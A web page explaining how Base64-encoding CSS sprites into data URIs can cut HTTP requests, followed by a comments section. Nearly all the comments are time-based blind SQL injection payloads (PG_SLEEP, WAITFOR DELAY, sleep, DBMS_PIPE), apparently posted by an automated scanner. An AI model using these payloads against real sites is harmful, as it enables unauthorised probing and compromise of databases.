A virtual teacher who reveals to you the great secrets of Base64

CSS sprites and data URI are not enemies

CSS sprite is an image containing several images arranged in a special order, so that using the background-position property you can display the desired image by its “coordinates”. CSS sprites are useful because they allow you to load multiple images with just one HTTP request which can significantly improve page loading speed.

As you probably guessed, in terms of optimizing page speed the same task is solved by the data URI scheme — one HTTP request can load multiple images. The problem is that the size of the data URI is about 33% larger. For this reason, you can often meet developers who say that CSS sprites are better than data URIs. Well, I will not argue with this, because most often it is true. However, I must point out that CSS sprites and data URI can get along well with each other. That is, it is sometimes better to encode CSS sprites to Base64 and embed them into CSS via data URI.

Why Base64 encoded CSS sprites may be better?

To display an HTML page with several CSS sprites, the browser must send one HTTP request for loading CSS and one additional request for each CSS sprite. We can get rid of additional HTTP requests if we encode CSS sprites to Base64 and embed them through the data URI. Best of all it works for small sprites and, of course, when gzip compression is enabled. However, don’t forget that data URIs has some disadvantages, so use them carefully.

Comments (28)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • exploit8,
    Great work page bro! keep it up =)
    I always learn from this articles too. GBU!
  • nqhXncMU,
    -1' OR 2+398-398-1=0+0+0+1 or 'onwh8OFo'='
  • nqhXncMU,
    -1)) OR 914=(SELECT 914 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    v0xvyvsL') OR 956=(SELECT 956 FROM PG_SLEEP(15))--
  • nqhXncMU,
    1 waitfor delay '0:0:15' --
  • nqhXncMU,
    -1" OR 2+555-555-1=0+0+0+1 --
  • nqhXncMU,
    -5 OR 285=(SELECT 285 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    kZUb9Y3C') OR 133=(SELECT 133 FROM PG_SLEEP(15))--
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    -1' OR 2+67-67-1=0+0+0+1 --
  • nqhXncMU,
    -5) OR 418=(SELECT 418 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • gBqsPxAZ,
    -5 OR 640=(SELECT 640 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    1 waitfor delay '0:0:15' --
  • gBqsPxAZ,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    -5) OR 65=(SELECT 65 FROM PG_SLEEP(15))--
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    OCbXTDNP')) OR 755=(SELECT 755 FROM PG_SLEEP(15))--
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    1 waitfor delay '0:0:15' --
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
  • ncMUFCMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • ncMUFCMU,
    0RQaVAXc' OR 745=(SELECT 745 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    yMi2Odql')) OR 739=(SELECT 739 FROM PG_SLEEP(15))--
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.